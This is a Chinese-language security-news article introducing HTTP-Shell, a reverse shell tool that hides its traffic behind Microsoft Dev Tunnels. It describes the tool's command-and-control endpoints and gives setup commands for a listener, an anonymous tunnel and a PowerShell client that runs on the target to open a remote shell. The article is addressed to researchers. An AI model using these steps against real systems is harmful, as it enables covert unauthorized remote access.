HTTP-Shell是一款功能强大的跨平台HTTP反向Shell工具,该工具可以帮助广大研究人员通过HTTP跟目标设备建立反向连接,并获取到一个类Shell接口。跟其他反向Shell的不同之处在于,HTTP-Shell的主要目标就是与Microsoft Dev Tunnels(微软开发隧道)结合使用,以便获得尽可能良性的合法链接。
需要注意的是,HTTP-Shell并不是一款完全交互式的工具,但是可以在屏幕上显示输出相关的错误信息,可以上传和下载文件,并提供了命令行历史记录、终端清理(CTRL + L)、自动重连和目录切换等功能。
Python 3(服务器端)
Bash(Linux客户端)
PowerShell v4.0+(Windows客户端)
1、通过 POST 将用户、路径和主机名发送到路径“/api/info”
2、在路径“/api/token”中通过 GET 获取命令提示符
3、通过 POST 等待上一个的输出路径“/api/debug”
4、如果发生错误,则通过 POST 发送到路径“/api/error”
5、如果请求下载文件,则通过 POST 使用“/api/upload”
6、如果请求上传文件,则通过POST使用“/api/download”
由于该工具基于Python 3开发,因此我们首先需要在本地设备上安装并配置好Python 3环境。接下来,广大研究人员可以使用下列命令将该项目源码克隆至本地:
git clone https://github.com/JoelGMSec/HTTP-Shell
然后切换到项目目录中,使用pip3命令和项目提供的requirements.txt文件安装该工具所需的其他依赖组件:
cd HTTP-Shell
pip3 install -r requirements.txt
该工具主要有下列三个脚本文件组成:
– HTTP-Server.py:服务器,用 Python 3 编写
– HTTP-Client.sh:Linux 客户端,用 Bash 编写
– HTTP- Client.ps1:Windows 客户端,用 PowerShell 编写
首先我们将监听服务器,然后通过隧道托管它:
python3 HTTP-Server.py 443
./devtunnel host -p 443 --allow-anonymous
接下来,我们将在目标设备上运行客户端,如下所示:
.\HTTP-Client.ps1 -c https://dirección_del_túnel.devtunnel.ms
如果一切顺利,我们将收到远程Shell:
本项目的开发与发布遵循GPL-3.0开源许可证协议。
HTTP-Shell:https://github.com/JoelGMSec/HTTP-Shell
【FreeBuf粉丝交流群招新啦!
在这里,拓宽网安边界
甲方安全建设干货;
乙方最新技术理念;
全球最新的网络安全资讯;
群内不定期开启各种抽奖活动;
FreeBuf盲盒、大象公仔......
扫码添加小蜜蜂微信回复“加群”,申请加入群聊】
https://darkbyte.net/obteniendo-shells-con-microsoft-dev-tunnels/